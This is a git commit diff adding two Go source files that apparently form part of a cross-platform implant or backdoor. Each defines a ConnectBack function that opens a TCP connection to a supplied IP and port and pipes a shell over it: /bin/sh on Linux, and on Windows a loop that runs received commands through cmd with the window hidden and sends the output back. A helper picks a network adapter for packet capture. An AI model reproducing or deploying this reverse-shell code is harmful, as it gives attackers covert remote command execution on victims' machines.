cross compile, now testing

spec/spec_linux.go

@@ -0,0 +1,23 @@
+package spec
+
+import (
+	"net"
+	"os/exec"
+)
+
+func GetAdapter() string {
+	return "ens160"
+}
+
+func ConnectBack(ip string, connectbackPort string) {
+	addr := net.JoinHostPort(ip, connectbackPort)
+	conn, err := net.Dial("tcp", addr)
+	if err != nil {
+		// TODO: figure out error handling
+		return
+	}
+	cmd := exec.Command("/bin/sh")
+	cmd.Stdin, cmd.Stdout, cmd.Stderr = conn, conn, conn
+	cmd.Run()
+	conn.Close()
+}

spec/spec_windows_amd64.go

@@ -0,0 +1,49 @@
+package spec
+
+import (
+	"bufio"
+	"log"
+	"net"
+	"os/exec"
+	"strings"
+	"syscall"
+)
+
+func GetAdapter() string {
+	var iface string
+	output, err := exec.Command("cmd.exe", "/c", "getmac /fo csv /v | findstr Ethernet").Output() //getting ethernet description for pcap
+	if err != nil {
+		log.Panicln(err)
+	}
+	startIndex := strings.Index(string(output), "_{")
+	finalIndex := strings.Index(string(output), "}")
+
+	temp := string(output)[startIndex+2 : finalIndex]
+	iface = "\\Device\\NPF_{" + temp + "}"
+
+	return iface
+}
+
+func ConnectBack(ip string, connectbackPort string) {
+	// TODO make this a PTY shell instead
+	addr := net.JoinHostPort(ip, connectbackPort)
+	conn, err := net.Dial("tcp", addr)
+	if err != nil {
+		// TODO: figure out error handling
+		return
+	}
+	r := bufio.NewReader(conn)
+	for {
+		order, err := r.ReadString('\n')
+		if nil != err {
+			conn.Close()
+			return
+		}
+
+		cmd := exec.Command("cmd", "/C", order)
+		cmd.SysProcAttr = &syscall.SysProcAttr{HideWindow: true}
+		out, _ := cmd.CombinedOutput()
+
+		conn.Write(out)
+	}
+}